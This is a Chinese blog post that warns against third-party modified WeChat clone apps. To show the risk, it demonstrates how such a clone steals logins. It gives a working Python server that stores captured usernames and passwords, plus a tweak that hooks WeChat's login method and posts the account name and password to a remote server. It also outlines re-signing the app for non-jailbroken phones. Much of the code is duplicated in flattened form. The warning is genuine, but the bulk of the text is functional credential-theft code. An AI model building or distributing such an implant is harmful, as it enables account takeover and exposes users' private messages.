最近很多用户把第三方修改的微信分身版各种疯传,不少人都安装了不同功能的微信刷步分身版,不管是为了刷微信运动步数,一键转发,一键评论还是带有其它功能的微信分身版。
很显然很多人安装了这些分身版却不知道其中可能存在的风险,这些微信分身版无非就是通过load command动态库注入hook函数进行篡改,虽然你的手机没有越狱,但是安装了微信分身版后,你所用微信的所有信息都暴露在别人的面前了。包括获取你的微信账号密码,聊天记录等等,所有的信息,而且使用非官方的微信客户端还容易被腾讯检测封号。
下面【爱刷步】技术员就从如何获取微信账号密码并传到指定服务器做一个简单的分析,看完这个后,你安装的分身版微信很可能就已经收集你的微信账号和密码。
首先进入微信登录界面,查看ViewController的继承关系:
[[[UIWindow keyWindow] rootViewController] _printHierarchy]
<MMUINavigationController 0×18392800>, state: appeared, view: <UILayoutContainerView 0x17f33790>
| <WCAccountLoginLastUserViewController 0x18b52600>, state: appeared, view: <UIView 0x192740d0>
可以得到当前的ViewController为WCAccountLoginLastUserViewController,跟踪该类。然后点击登录按钮,可以看到调用onNext方法。使用IDA进入里面分析,可以得知是WCAccountLoginControlLogic类来负责处理具体的登录逻辑。跟踪WCAccountLoginControlLogic可以发现登录的时候调用了
– (void)onLastUserLoginUserName:(NSString*) name Pwd:(NSString*) pwd{}
其中传的参数就是微信的账号和密码,现在演示一下如何拦截微信账号密码,并发送到指定服务器。
既然需要一个服务器来接受传输的数据,那么就使用python的BaseHTTPRequestHandler来搭建一个简单的服务器。
#!/usr/bin/env python
# -*- conding:utf-8 -*- from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from urlparse import urlparse, parse_qsDEFAULT_HOST = ''
DEFAULT_PORT = 8080
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
params=parse_qs(urlparse(self.path).query)
self.send_response(200)
self.send_header('Content-type','text/html')
self.end_headers()
#获取账号密码
fread = open('./pwd.log','r')
lines = fread.readlines();
#每隔2秒刷新一次
content = '<meta http-equiv="refresh" content="2">'
for line in lines:
content = content+line+'
'
# Send the message to browser
self.wfile.write(content)
returndef do_POST(self):
params=parse_qs(urlparse(self.path).query)
#保存账号密码
fwrite = open('./pwd.log','a+')
fwrite.write("username=%s/n" % params['name'][0])
fwrite.write("pwd=%s/n" % params['pwd'][0])
fwrite.close()
self.send_response(200)
self.end_headers()
return
def run_server():
try:
server_address=(DEFAULT_HOST, DEFAULT_PORT)
server= HTTPServer(server_address,RequestHandler)
print "HTTP server started on port: %s" % DEFAULT_PORT
server.serve_forever()
except Exception, err:
print "Error:%s" %err
except KeyboardInterrupt:
print "Server interrupted and is shutting down..."
server.socket.close()if __name__ == "__main__":
run_server()
#!/usr/bin/env python # -*- conding:utf-8 -*- from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServerfrom urlparse import urlparse, parse_qsDEFAULT_HOST = ''DEFAULT_PORT = 8080class RequestHandler(BaseHTTPRequestHandler):def do_GET(self):params=parse_qs(urlparse(self.path).query)self.send_response(200)self.send_header('Content-type','text/html')self.end_headers()#获取账号密码fread = open('./pwd.log','r')lines = fread.readlines(); #每隔2秒刷新一次content = '<meta http-equiv="refresh" content="2">'for line in lines:content = content+line+'
'# Send the message to browserself.wfile.write(content)returndef do_POST(self):params=parse_qs(urlparse(self.path).query)#保存账号密码fwrite = open('./pwd.log','a+')fwrite.write("username=%s/n" % params['name'][0])fwrite.write("pwd=%s/n" % params['pwd'][0])fwrite.close()self.send_response(200)self.end_headers()returndef run_server():try:server_address=(DEFAULT_HOST, DEFAULT_PORT)server= HTTPServer(server_address,RequestHandler)print "HTTP server started on port: %s" % DEFAULT_PORTserver.serve_forever()except Exception, err:print "Error:%s" %errexcept KeyboardInterrupt:print "Server interrupted and is shutting down..."server.socket.close()if __name__ == "__main__":run_server()
好了,一个简单的服务器搭建好了,post用来接受从微信传过来的账号和密码信息并保存到本地文件,然后通过get不断去请求刷新获取的账号密码。
编写tweak拦截账号密码,并发送到刚刚搭建的服务器上:
%hook WCAccountLoginControlLogic- (void)onLastUserLoginUserName:(NSString*) name Pwd:(NSString*) pwd{
%log;NSMutableURLRequest *request=[NSMutableURLRequest requestWithURL:[NSURL URLWithString:[NSString stringWithFormat:@"http://192.168.1.100:8080?name=%@&;pwd=%@",name,pwd]]];[request setTimeoutInterval:30];[request setHTTPMethod:@"POST"];[NSURLConnection sendAsynchronousRequest:request queue:[NSOperationQueue mainQueue]
completionHandler:^(NSURLResponse *respone,
NSData *data,
NSError *error)
{
NSHTTPURLResponse* httpResponse = (NSHTTPURLResponse*)respone;
if(httpResponse.statusCode == 200){
NSLog(@"send pwd success!");
}
}];
}%end
%hook WCAccountLoginControlLogic- (void)onLastUserLoginUserName:(NSString*) name Pwd:(NSString*) pwd{%log;NSMutableURLRequest *request=[NSMutableURLRequest requestWithURL:[NSURL URLWithString:[NSString stringWithFormat:@"http://192.168.1.100:8080?name=%@&;pwd=%@",name,pwd]]];[request setTimeoutInterval:30];[request setHTTPMethod:@"POST"];[NSURLConnection sendAsynchronousRequest:request queue:[NSOperationQueue mainQueue]completionHandler:^(NSURLResponse *respone,NSData *data,NSError *error){ NSHTTPURLResponse* httpResponse = (NSHTTPURLResponse*)respone; if(httpResponse.statusCode == 200){ NSLog(@"send pwd success!"); } }];}%end
重签名微信,生成一个在非越狱机器上运行的微信分身版,这个已经在上一篇文章中讲过。进入登录界面输入账号密码,每次输入账号密码就发把账号密码发送到我们搭建的服务器上面,然后在浏览器输入http://localhost:8080/就能实时看到输入的账号密码是什么了。
上面只是一个简单的演示,当然实际的分身版不可能写的这么简单,一般都经过混淆和加密的,但是也就是说,一旦你安装了微信分身版,那么你微信上面所有的信息都可能被监控,导致隐私泄露。
★★★ 从网上下了一个分身版的微信就在其中的dylib文件中发现了上传账号密码的代码 ★★★
所以即使你的手机没有越狱,也不要去网上下载第三方修改的微信分身版,也不要去第三方渠道下载应用,因为很可能你在第三方渠道下载的应用就是被篡改过的。